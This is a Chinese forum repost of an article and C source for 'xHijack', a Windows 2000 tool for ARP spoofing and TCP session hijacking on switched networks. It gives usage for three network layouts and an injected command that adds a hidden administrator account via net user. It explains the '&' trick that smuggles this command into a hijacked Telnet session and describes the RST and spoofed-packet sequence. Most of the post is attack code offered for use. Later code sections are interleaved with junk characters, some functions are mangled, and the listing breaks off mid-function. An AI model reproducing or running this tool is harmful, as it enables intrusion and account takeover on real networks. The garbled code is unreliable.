数学建模社区-数学中国

标题: 再谈交换环境下的会话劫持(For windows2000) [打印本页]

作者: 韩冰 时间: 2004-11-21 01:44
标题: 再谈交换环境下的会话劫持(For windows2000)
第一步是开启IP Routing的功能，修改注册表
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1，重启系统即可。
第二步是ARP欺骗，具体原理我就不说了。
第三步就是开始劫持啦。

我写了个程序xHijack可以实现第二、三步功能，使用如下:

Usage: xHijack ServerSide ClientSide

下面根据三种不同的情况分别说明如何输入参数：
<1>服务器、客户端、劫持者处于同一局域网，接在同一交换机上（或交换机级连？）。
假如服务器的IP是192.168.0.2，客户端的IP是192.168.0.3，提供如下参数给xHijack即可
c:\>xHijack 192.168.0.2 192.168.0.3
劫持前数据流程：server <--> client
劫持后数据流程：server <--> hijacker <--> client

<2>服务器、劫持者处于同一局域网，客户端处于别的网络。
假如服务器IP是202.202.202.2，服务器的网关是202.202.202.1，提供如下参数
xHijack 202.202.202.2 202.202.202.1
劫持前数据流程：server <--> gw <--> routes <--> client
劫持后数据流程：server <--> hijacker <--> gw <--> routes <--> client

<3>客户端、劫持者处于同一局域网，服务器处于别的网络。
假如客户端的IP是192.168.0.2，网关是192.168.0.1，提供如下参数
xHijack 192.168.0.1 192.168.0.2
劫持前数据流程：client <--> gw <--> routes <--> server
劫持后数据流程：client <--> hijacker <--> gw <--> routes <--> server

输入两个参数后，会提示你选择网卡，然后会提示
l       <-- List all connections
r x    <-- Reset the number x connection
w x    <-- Watch the number x connection
h x command <-- Hijack the number x connection to execute command

list、reset、watch命令我就不解释了。
假如现在有如下连接
(1) 202.202.202.202:23 <--> 192.168.0.3:2345
我们想要劫持这个连接运行我们的命令，输入
xHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
为什么命令前面要加&呢？假如客户刚发送一个字符p过去，我们不加&的话，服务器端接受到的就是
pnet user.....了，加了&后就成为p&net user.....，这样就不管前面客户输入了什么，我们的命令
都能够运行了。以上都假设服务器是windows 2000，unix下加什么字符，我不知道，我是unix白痴，呵呵。

劫持的流程如下：
<1>伪装成Server给Client发一个rst包
<2>伪装成Client给Server发了一个数据包
<3>Server回一个ACK包给client
<4>因为Cleint的连接已经给我们reset掉了，所以client回一个rst包给server

这样的话，我们只能发一个伪造的包，但我想已经足够了。
想要一直劫持那个连接也可以，如下
<1>伪装成Server给Client发一个rst包
<2>欺骗Client，告诉它Server的MAC地址AAAAAAAAAAAA
<3>伪装成Client给Server发了一个数据包
<4>Server回一个ACK包给client
<5>Client回一个rst包给Server，但Server收不到，因为Client发到AAAAAAAAAAAA了，呵呵。
<6>然后Server发给Client的包都由我们来处理，包括给Server回ACK包等等。

不过这样比较危险，在我们劫持的过程中，Client与Server的通讯始终是断开的。

刚开始看TCP/IP协议，调程序调得头昏脑涨，说明也写的乱七八糟，呵呵，程序代码也可能存在很多问题，
还请各位多多指点。

BTW:我没有空间，编译好的程序没地方放：（

参考资料
<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375
<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377

以下是程序代码
----------------------------------------------------------------------
/*-----------------------------------------------------------------------------
File    : xHijack.c
Version    : 1.0
Create at : 2002/8/12
Last modifed at  : 2002/8/19
Author    : eyas
Email    : ey4s@21cn.com
HomePage : www.ey4s.org
感谢refdom和shotgun发布的源代码，使我获益非浅。
If you modify the code, or add more functions, please email me a copy.

备注:
<>没有考虑IP头、TCP头超过20字节的情况
<>没有考虑数据包分片的情况
<>没有对截取到的TCP数据进行解码，如TELNET，虽然是明文传输，但是TCP数据里面包含了
显示格式、位置等信息，直接打印出来，显得很凌乱。但如果是IRC、SMTP、POP3等就没问
题了。

也许下一版本会修正这些问题，也许不会有下一版本了。

-----------------------------------------------------------------------------*/
#include
#include
#include
#include
#include
#include
#include

#pragma comment (lib, "packet")
#pragma comment (lib, "iphlpapi")
#pragma comment (lib, "ws2_32")

#define Max_Num_Adapter 10
#define Max_Num_IPAddr  5
#define EPT_IP    0x0800    /* type: IP  */
#define ARP_HARDWARE  0x0001    /* Dummy type for 802.3 frames */
#define EPT_ARP    0x0806    /* type: ARP */

#define  ACTION_NONE 0
#define  ACTION_WATCH  1
#define  ACTION_RESET  2
#define ACTION_HIJACK  3

/*以1字节对齐*/
#pragma pack(1)
typedef struct _ehhdr
{
  unsigned char  DestMAC[6];
  unsigned char  SourceMAC[6];
  unsigned short  EthernetType;
}EHHDR, *PEHHDR;

typedef struct _iphdr       //定义IP首部
{
  unsigned char h_verlen;    //4位首部长度,4位IP版本号
  unsigned char tos;       //8位服务类型TOS
  unsigned short total_len; //16位总长度（字节）
  unsigned short ident;    //16位标识
  unsigned short frag_and_flags;  //3位标志位
  unsigned char ttl;       //8位生存时间 TTL
  unsigned char proto;    //8位协议 (TCP, UDP 或其他)
  unsigned short checksum; //16位IP首部校验和
  unsigned int sourceIP;    //32位源IP地址
  unsigned int destIP;    //32位目的IP地址
}IPHDR, *PIPHDR;

typedef struct _tcphdr       //定义TCP首部
{
  USHORT th_sport;       //16位源端口
  USHORT th_dport;       //16位目的端口
  unsigned int th_seq;    //32位序列号
  unsigned int th_ack;    //32位确认号
  unsigned char th_lenres; //4位首部长度/6位保留字
  unsigned char th_flag;    //6位标志位
  USHORT th_win;       //16位窗口大小
  USHORT th_sum;       //16位校验和
  USHORT th_urp;       //16位紧急数据偏移量
}TCPHDR, *PTCPHDR;

typedef struct _psdhdr       //定义TCP pseudo header
{
  unsigned long saddr;
  unsigned long daddr;
  char mbz;
  char ptcl;
  unsigned short tcpl;
}PSDHDR, *PPSDHDR;

typedef struct _arphdr
{
  unsigned short  HrdType;//硬件类型
  unsigned short  ProType;//协议类型
  unsigned char  HrdAddrlen;//硬件地址长度
  unsigned char  ProAddrLen;//协议地址长度
  unsigned short  op;//operation
  unsigned char  SourceMAC[6];/* sender hardware address */
  unsigned long  SourceIP;/* sender protocol address */
  unsigned char  DestMAC[6];/* target hardware address */
  unsigned long  DestIP;/* target protocol address */
}ARPHDR, *PARPHDR;

typedef struct _ArpPacket
{
  EHHDR  ehhdr;
  ARPHDR  arphdr;
}ARPPACKET, *PARPPACKET;

typedef struct _tcppacket
{
  EHHDR  ehhdr;
  IPHDR  iphdr;
  TCPHDR  tcphdr;
}TCPPACKET, *PTCPPACKET;

typedef struct _conninfo
{
  DWORD  dwServerIP;
  USHORT  uServerPort;
  DWORD  dwClientIP;
  USHORT  uClientPort;
  DWORD  ident;//标识
  BOOL  bActive;
  struct  _conninfo  *Next;
}CONNINFO, *PCONNINFO;

//定义全局变量

作者: 韩冰 时间: 2004-11-21 01:44
unsigned int  g_ServerSideIP,
      g_ClientSideIP,
      g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
      g_TotalIP = 0;//
unsigned char  g_szOwnMAC[6];//本机MAC地址
unsigned char  g_szClientSideMAC[6];
unsigned char  g_szServerSideMAC[6];
char    g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
LPADAPTER g_lpAdapter;
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
HANDLE    g_hThread[4];
char    g_szCommand[128];//command to execute after hijack
DWORD    g_dwAction;//action type
DWORD    g_dwCtrlConn;//action 所控制连接的标识
DWORD    g_ident;//节点标识，递增
PCONNINFO g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
      g_pConnHead = NULL,
      g_pConnLast = NULL;
char    g_szSendPacketBuf[1514];
LPPACKET g_lpSendPacket;
//函数
void    usage(void);
void    ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
void    ListAllConnection();//列出当前所有的连接
void    ResetActionAllFlag();
USHORT    checksum(USHORT *, int);
BOOL    GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
BOOL    IsACKPacket(unsigned char);//判断是不是一个纯ack包
LPADAPTER InitAdapter();//初始化一些参数和全局变量
BOOL    SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
BOOL    SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
DWORD    GetConnNum(char *, DWORD, DWORD *);
DWORD    CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
DWORD  WINAPI  InterfaceThread(LPVOID);//
BOOL  WINAPI  CtrlEvent(DWORD);

int main(int argc, char **argv)
{
  struct bpf_stat stat;
  int    i;

  usage();
  if (argc != 3) return 0;
  //取得参数
  g_ServerSideIP = inet_addr(argv[1]);
  g_ClientSideIP = inet_addr(argv[2]);
  //初始化adapter & 一些全局变量
  g_lpAdapter = InitAdapter();
  if(!g_lpAdapter) return 0;
  //get ServerSide MAC & ClientSide MAC
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
  //create arp spoof thread
  i = 1;
  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  Sleep(500);
  i = 2;
  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  //create analyse packet thread
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
  //create interface thread
  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
  //set console ctrl handle
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
  {
printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
return 0;
  }
  //wait for any thread exit
  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
  //print the capture statistics
  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
printf("Warning: unable to get stats from the kernel!\n");
  else
printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
  //free resource
  PacketFreePacket(g_lpSendPacket);
  PacketCloseAdapter(g_lpAdapter);
  return 0;
}

//
//功能：重置所有于ACTION有关的标志
//

作者: 韩冰 时间: 2004-11-21 01:45
void ResetActionAllFlag()
{
  g_dwCtrlConn = 0;
  g_pCurrCtrlConn = NULL;
  g_dwAction = ACTION_NONE;
}

//
//功能：处理Ctrl+C和Ctrl+Break事件
//
BOOL WINAPI CtrlEvent(DWORD dwCtrlType)
{
  switch(dwCtrlType)
  {
case CTRL_BREAK_EVENT:
   //reset action all flag
   ResetActionAllFlag();
   break;
case CTRL_C_EVENT:
   //terminate all thread
   TerminateThread(g_hThread[0], 0);
   TerminateThread(g_hThread[1], 0);
   TerminateThread(g_hThread[2], 0);
   TerminateThread(g_hThread[3], 0);
   break;
default:
   break;
  }
  return TRUE;
}

//
//功能：处理用户输入
//
DWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos)
{
  DWORD  i;
  char  szBuff[16];

  *lpCommandPos = 0;
  for(i=0; i<15, i代码比较乱
//
DWORD WINAPI InterfaceThread(LPVOID lp)
{
  char  szHelp[] =  "l\t\t<-- List all connections\n"
         "r x\t\t<-- Reset the number x connection\n"
         "w x\t\t<-- Watch the number x connection\n"
         "h x command\t<-- Hijack the number x connection to execute command\n"
         "[Note]\n"
         "Ctrl+Break to clear all action\n"
         "Ctrl+C to exit\n";
  char  szPrompt[] = "\nxHijack>";
  char  szBuffer[128];
  DWORD  dwPos;
  PCONNINFO  pTmp;

  while(1)
  {
gets(szBuffer);//不考虑buffer overflow
switch(szBuffer[0])
{
   case 'l':
   case 'L':
      ListAllConnection();
      break;
   case 'r':
   case 'R':
      if(strlen(szBuffer) >2)
      {
      g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
      g_dwAction = ACTION_RESET;
      }
      else printf("%s", szHelp);
      break;
   case 'w':
   case 'W':
      if(strlen(szBuffer) > 2)
      {
      g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
      g_dwAction = ACTION_WATCH;
      }
      else printf("%s", szHelp);
      break;
   case 'h':
   case 'H'://h 1 xxx
      if(strlen(szBuffer) > 5)
      {
      g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
      //如果command第一个字符是'或"
      if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') )
      {
         strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3);
         g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或"
      }
      else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3);
      strcat(g_szCommand, "\x0D\x0A");
      g_dwAction = ACTION_HIJACK;
      }
      else printf("%s", szHelp);
      break;
   default:
      printf("%s", szHelp);
      break;
}//end of switch
//find the specify ident's struct point
if( (g_dwCtrlConn) && (g_dwAction) )
{
   g_pCurrCtrlConn = NULL;
   pTmp = g_pConnHead;
   while(pTmp)
   {
      if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) )
      {
      g_pCurrCtrlConn = pTmp;
      break;
      }
      pTmp = pTmp->Next;
   }
   if(!g_pCurrCtrlConn)
   {
      printf("Can't find the number %d connection.\n", g_dwCtrlConn);
      //reset action all flag
      ResetActionAllFlag();
   }
}
if(!g_dwCtrlConn) ResetActionAllFlag();
//显示当前用户所期望的动作
printf("\nCurrentAction:");
switch(g_dwAction)
{
   case ACTION_WATCH:
      printf("ACTION_WATCH");
      break;
   case ACTION_RESET:
      printf("ACTION_RESET");
      break;
   case ACTION_HIJACK:
      printf("ACTION_HIJACK");
      break;
   default:
      printf("ACTION_NONE");
      break;
}
printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt);
  }//enf of while
  return 0;
}

作者: 韩冰 时间: 2004-11-21 01:46
// //功能：列出当前所有连接 // void ListAllConnection() { PCONNINFO pTmp; SOCKADDR_IN saDest, saSource; pTmp = g_pConnHead; while(pTmp) { if(pTmp->bActive) { saSource.sin_addr.s_addr = pTmp->dwServerIP; saDest.sin_addr.s_addr = pTmp->dwClientIP; printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), ntohs(pTmp->uServerPort)); printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); } pTmp = pTmp->Next; } } // //功能：初始化一些数据，取得指定网卡的MAC地址和所有IP地址 // LPADAPTER InitAdapter() { LPADAPTER lpAdapter; static char AdapterList[Max_Num_Adapter][1024]; char szSelectAdapterName[512]; WCHAR AdapterName[2048]; WCHAR *temp,*temp1; ULONG AdapterLength = 1024; int iAdapterNum = 0; int iRetCode, i; int iAdapter = 0; ULONG ulLen = 0; DWORD dwRet; PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; PIP_ADDR_STRING pIPAddr; //Get The list of Adapter if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) { printf("Unable to retrieve the list of the adapters!\n"); return 0; } temp = temp1 = AdapterName; i = 0; while ((*temp != '\0')||(*(temp-1) != '\0')) { if (*temp == '\0') { memcpy(AdapterList,temp1,(temp-temp1)*2); 9 H$ s3 L+ N" }% C, y printf("%d - %S\n", i+1, AdapterList); ) V% I0 d4 J2 [% m% B temp1=temp+1; % x+ W5 M* _2 u U$ B o4 [ i++; 4 r: K5 r3 Q; K% Z) G& j) ]. f } / L/ l) s- i/ c! G) j temp++; ; }; Q; K( [9 W4 u5 X } + o/ ?* U" c" i C6 ?. A4 [+ u //choose adapter 4 e. W, L) I5 U while((iAdapter <= 0) || (iAdapter > i)) ( w4 [% L2 a* P+ o' P: R1 c, S. p { ( ]4 G9 i& }! `( `# W' d! k printf("\nPlease choose your Adapter:"); Q' H9 e" d' ]8 b1 T7 P scanf("%1d", &iAdapter); 2 S! k3 v6 x; \) F1 h2 [1 K- c- w0 i } 8 }) m: G* l6 G4 ^4 ` printf("\n"); 5 x6 u9 x3 i& ^ //---------------------------------------------// ' ^$ B& M: M" F8 u //这里调用iphlpapi来取得本地ip_addr和mac_addr + L" y& R3 j: W0 a0 l sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); ' V7 @4 Q9 b; i9 C! L8 O! U dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); ! f1 b7 D: ^# W/ B( R7 V' t9 Z if(dwRet != ERROR_BUFFER_OVERFLOW) / k4 N8 t1 g% X# A0 w7 S( d; ^ { ; ^) L/ p' [" P; R! d0 @% k. q printf("GetAdapterInfo error:%d\n", GetLastError()); 0 H/ s4 Z: g y2 C( M+ o1 s! o return 0; ; K4 F I2 F \3 F W( q } # r0 Y8 W! k4 x pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); " V( V5 q) s: q% v if(!pAdapterInfo) * o7 B+ ?4 p9 F3 r { 1 l' g9 z$ R$ N) M f1 ]- s) H i printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); ; R# H2 e# }" V0 \8 o' H return 0; + z3 Q X9 y x! p) p9 `1 k } ( v2 |# h8 O8 R+ V4 Q. d7 t dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); ! _( ~# R: C- D9 ?- }* y# k6 B if(dwRet != ERROR_SUCCESS) ! q# W) A3 D6 y5 A8 L1 T8 r/ n k4 R { . z# q* R/ s+ B3 f4 s# s1 Y5 [ printf("GetAdapterInfo error:%d\n", GetLastError()); 3 h5 L" a& L2 s% w3 p return 0; 6 K% P1 b" x/ ?" B, E' }! O" J: ^$ e } . S) \3 |7 D$ W; i* o pTmp = pAdapterInfo; & u2 |: @% e& U0 J% ?8 V while(pTmp) 3 ?7 X% {! Q% o* Z/ g1 N O/ X$ [ { ! [. f6 g4 |) Q" r8 K* x7 d //字符匹配
作者: 韩冰 时间: 2004-11-21 01:46
if(strstr(szSelectAdapterName, pTmp->AdapterName)) 7 Q: `4 f; W& m( V! m0 I* ?" Q { + x+ m) p: g* @0 Q& K3 W- { //found it,get own adapter mac address 4 q5 N( m- i$ e% g L9 }. C# f memcpy(g_szOwnMAC, pTmp->Address, 6); : Q6 S4 Z& X; O% [+ ` //get ip address ; R* K3 @0 K0 ~0 E- p; q8 a pIPAddr = &pTmp->IpAddressList; % `; y* N$ c5 [9 d$ C while(pIPAddr) 6 ?6 m& N2 l1 s9 v$ J" j { , Z1 Z' t0 x. J+ A g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); ( X& q( N* S! A pIPAddr = pIPAddr->Next; : B5 z& N) z) ^( F6 @ if(g_TotalIP >= Max_Num_IPAddr) break; / B, i. `/ p& g3 B+ Z } % Z8 h% P) b2 { break; 0 t% V1 E7 P# T6 c } k. r& F# e+ T' z! f# i pTmp = pTmp->Next; ' r" C/ ^2 A# v4 w4 O# L } 4 u- p1 N9 t9 K0 U9 Y* j free(pAdapterInfo); , e+ S6 ~- i- e. d$ s! Z9 X" | //not found,return zero 6 U2 J, I4 {: h* ~ if( (!pTmp) || (!g_TotalIP) ) return 0; , c9 z# {7 z6 c+ X: ^3 v //---------------------------------------------// ; k n& F. r9 i6 F( h //open adapter ) |# H- }* T3 u2 U" q. m lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); ( K6 T+ p* I# |" W if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) ' O |8 J1 a9 g; A { # c! p0 P2 C5 O/ l iRetCode = GetLastError(); ; }6 z* i% [2 W. c$ b printf("Unable to open the driver, Error Code : %lx\n", iRetCode); # a2 q2 _+ K9 ] f0 V return 0; : H( `' D* f5 G! y/ G) |0 P1 w } J M5 H3 o* n/ K // set the network adapter in promiscuous mod 1 ^) W$ K* X* e if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) 4 D9 F* C( k+ ?: V- z0 ` { ; I7 c5 A2 M: \) \! k printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); 2 e8 \0 k; b3 z6 R, L if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) 5 m1 c& Q. [+ j- {7 ~ { ( G0 f1 Y" l' t S5 }5 R& T printf("Unable to set ALL_LOCAL mode!\n"); # W/ x4 m1 }, `5 k. G; Z2 a return 0; * H1 R% l6 S& w5 {3 W1 Z+ ~ } ; W% B- h5 O7 O _' c } - v ^4 M$ x# p& ]) {" A // set a 512K buffer in the driver 8 k# C0 j& F7 C$ e6 p9 b8 r if(PacketSetBuff(lpAdapter, 512000) == FALSE) 8 S& [8 o. m( j* {0 v# P; V# v { ' G% p9 ]0 h$ m J5 Z' P printf("Unable to set the kernel buffer!\n"); ) M5 ]3 t% ^6 n! n return 0; , W C6 N, t+ P0 \ } 4 j- c/ x/ O( E // set a 1 second read timeout 0 _: G8 H0 o( _0 E# d3 w8 n8 g if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) - l/ ~& l) C* \' x4 B, g printf("Warning: unable to set the read tiemout!\n"); & r2 f1 y- N1 B8 ?# |" K if(PacketSetNumWrites(lpAdapter, 1) == FALSE) " S5 g& ]+ B0 f! T printf("warning: Unable to send more than one packet in a single write!\n"); $ J8 W$ d5 }7 v( f& J5 a- S //设置发送的packet 0 O( ]0 i5 F* k2 u' p* }" f2 j g_lpSendPacket = PacketAllocatePacket(); 5 P' L8 |& n9 \$ ?2 O% ] if(g_lpSendPacket == NULL) 6 J% D% ?6 q0 Y. Q { $ g" V2 P$ o c8 r. v I! ?2 ^ printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); 3 n) Q& R5 H) e3 E return 0; ) u+ s2 I/ [) f ? } 1 `0 M: z3 \4 u+ h, G ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); ( I) G! _( i& H1 U2 Y PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); 1 x, }. G, ^2 f# m ~ return lpAdapter; 7 v; C1 C- @, _6 x+ ?7 u3 t} % m/ l" c5 r4 g. I5 N 0 v0 m( Y W- ^ B& M//功能：帮助信息 ' r% R8 p* J6 k& d% c7 P" nvoid usage() 1 L4 ]" G; _2 `) M1 V8 ?% T8 _9 ]{ / V, p( N# I+ x printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" , d; o, t: r7 }5 f& l; B0 } "By eyas 2002/8/19\n" 6 t1 M' X5 d8 r! ~# ` "http://www.ey4s.org\n" + R9 p/ [2 }% g, ? "Thanks to Refd0m and shotgun\n\n" . {% d& N. {) K3 F5 S4 f+ o l "Usage: xHijack ServerSide ClientSide\n\n"); 6 _$ {% e/ B z, { P6 o% I} 6 z* P$ E9 z+ T) I4 P 2 w# K; I6 Y1 t0 t* A // 9 z' B9 n7 u; S% @//功能：显示数据包的一些详细信息 : `0 M) o8 ~7 S$ a2 m5 J. o3 C // # Y. L0 d4 B2 k VOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) 2 O$ N5 H5 J( E( ~{ 3 y$ j# t) j8 I3 C SOCKADDR_IN saDest, saSrc; . x4 Y5 ?2 u% ^: w, L/ g) g unsigned char FlagMask; & B6 B0 R% w4 w. Q9 ^: n. T0 c1 v, Y) [ int i; ) P0 m7 T- P1 k& ?$ H/ T ; z1 ~1 o# k2 ~6 |5 H/ |* w3 G saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; + z: I8 r- m5 {, d$ \1 ]- ` saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; + F* R+ w/ @4 }6 ]" a* u: S: m printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); . E) F) x! g" z8 |/ Z& ?& g, g! D printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), / P' l" p+ Y% G; y% |! `6 A ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); % f( T1 M) L. O& i1 @1 E. M //display TCP flag ! O# N+ D/ P. S$ d0 g9 C for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) % H9 p b9 v, o" ]: l" } { ( V! }6 l- d: c4 j9 ]5 X if((pTCPPacket->tcphdr.th_flag) & FlagMask) ) q) I! y7 Y i printf("%c", g_szTcpFlag); + h: ~( \4 H' Y: _( \ else printf("-"); 6 y8 @# q* h) J } 1 ~4 M/ x8 p5 R, j. B8 j printf("\n"); + F9 c+ U8 X. V //如有需要，可显示更多详细的信息 * [) W4 b g5 R* m" e) @: @ if(bDetail) & l8 X* @# g0 D6 T5 \# X( L2 s printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); & I( {3 Q/ T$ t/ u } b) W% ]# k' J: s' z 8 `/ |/ L- P. L" j6 h // 5 Y( L7 x; H9 z$ R//功能：处理收到的数据包(只分析本不属于自己的包)，然后根据用户输入，完成各种功能 # _ G: N- n$ `9 K3 K0 q- e. C // $ _! h3 H7 f" i2 z, d: q4 Y DWORD WINAPI AnalysePacketsThread(LPVOID lp) ; d" F) s' X- n { # |7 k4 Y+ z& c/ Y ULONG ulBytesReceived; 3 k$ t* Q0 w( n1 y2 j USHORT usDataLen; : T0 J& z0 f7 G: D0 s //USHORT usIPHeadLen, usTCPHeadLen; 9 W$ [7 ?) p0 F; U$ \! {$ e char *buf; 6 ^7 _7 B" E/ ?( _: B- D u_int off, i; # o, [7 B; G6 ]7 k3 l+ T' X( d PTCPPACKET pTCPPacket; ' b: S; o) N9 P struct bpf_hdr *hdr; 5 \5 }* F# z7 G# R LPPACKET lpRecvPacket; / y, H, n* w- E5 { char szPacketBuf[256000], *pStr; ) ~( i6 |9 p/ j9 b b- _5 a' z BOOL bDeleteNode, bAddNew; 6 y0 ~1 o) W3 ~, f DWORD ident;//当前所处理的数据包，所属的连接的唯一标识 }; z6 y" w* l* s4 x7 R9 B BOOL bClientToServer;//数据包是否从客户端发送到服务器端 ! [0 E+ l$ r6 H6 T; Q @9 N( `# v( s C2 M# W- b% L) @( v6 ?: ]# [: d //设置接收的packet 5 B. |; I9 l l/ q2 Z9 {3 D. `9 F lpRecvPacket = PacketAllocatePacket(); l( R9 \$ v4 M' W if(lpRecvPacket == NULL) 2 ?1 n' W% j# k# w$ Q' `( H' Q { " B# i3 e6 y) f3 M printf("Error:failed to allocate the LPPACKET structure for recv.\n"); + Q( R0 D1 K m4 o5 N! P return 0; ; Q& V; G" q. J: H/ t& D } / g( v4 z) t8 L5 J4 D ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); 3 `% X1 \7 l: r8 n" |9 \% a* _5 M PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); 7 X4 A/ r0 E- V3 ^5 n while(1) * m1 \1 w) J' r- U1 W- c& \( z( O { I) X' x4 K$ y9 m% x& A8 ~; w // capture the packets ' x$ Z( j0 ]: u: C; x, e if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) ! `2 b5 u# X$ @- D; d8 f { ' i! l% a1 d- ?+ p printf("Error: PacketReceivePacket failed.\n"); 3 w% |5 L& }$ C" Q break; . i0 w! T, J! Z, A7 M$ Q" u } : ?3 X8 o7 W+ C) c0 g8 I: T ulBytesReceived = lpRecvPacket->ulBytesReceived; " K' p; z7 P' Z, I% R1 S$ Z buf = lpRecvPacket->Buffer; ! B* ~5 F( x+ Z. B" C off = 0; ! N$ f' T/ a7 X( L2 o K l8 Z while(off < ulBytesReceived) 6 L. J4 {! Z/ e { " l+ V7 Z" v4 Q; O+ B4 l7 e6 J hdr = (struct bpf_hdr *)(buf + off); : }7 P% ~1 c6 l5 e7 u off += hdr->bh_hdrlen; 7 k, M; _6 a O! {- E pTCPPacket = (PTCPPACKET)(buf + off); 6 {9 X0 o7 t3 J9 @1 l- {: K: t1 U" R off = Packet_WORDALIGN(off + hdr->bh_caplen); . D! h& d2 j% W* l! T2 {, K //不需要处理自己发出的包(转发或本机发送的) ! s) B9 F3 _- i9 y" j# n' a9 ? if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; 4 u9 t8 y+ y3 @6 F; L0 B& h3 d //检查是否IP包 5 t4 J1 @* c: ~4 ] ~$ M8 r if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; - u! X/ R- a9 y7 B+ m9 X! B. _ //检查是否TCP包 ( S/ y% C. Y+ o! A* V4 R if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; : h8 b/ Q& c' v- a- Q8 Q //也不处理DestIP是自己的包 ) @" W2 L5 R. j for(i=0; i
作者: 韩冰 时间: 2004-11-21 01:47
pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, TRUE, FALSE); 8 q+ b1 h4 w  E/ e
         //reset action flag 9 H0 T4 X/ Y  G$ H" u9 L4 K
         ResetActionAllFlag();
) g. s/ P6 D( _- u; o       }
6 m& J9 K" Y$ t( E4 I, Y" j( _, W$ b9 ~       //start hijack ; p$ a, O  C: x6 {: f- z/ t3 _
      else if(g_dwAction == ACTION_HIJACK) 9 k& v5 T3 R. X. {
      { * n( N8 `% X4 ?7 p# t! k+ n  D# E
         //send rst packet to client , B* f7 V3 Q% ]& R( q8 g$ I
         SendRstPacket(pTCPPacket->tcphdr.th_ack, pTCPPacket->tcphdr.th_seq); 1 M6 O9 p; v2 b  t/ B; t& k% b
         //send hijack packet to client
% _! f. l, s; R8 P+ D1 P          SendHiJackPacket(pTCPPacket);
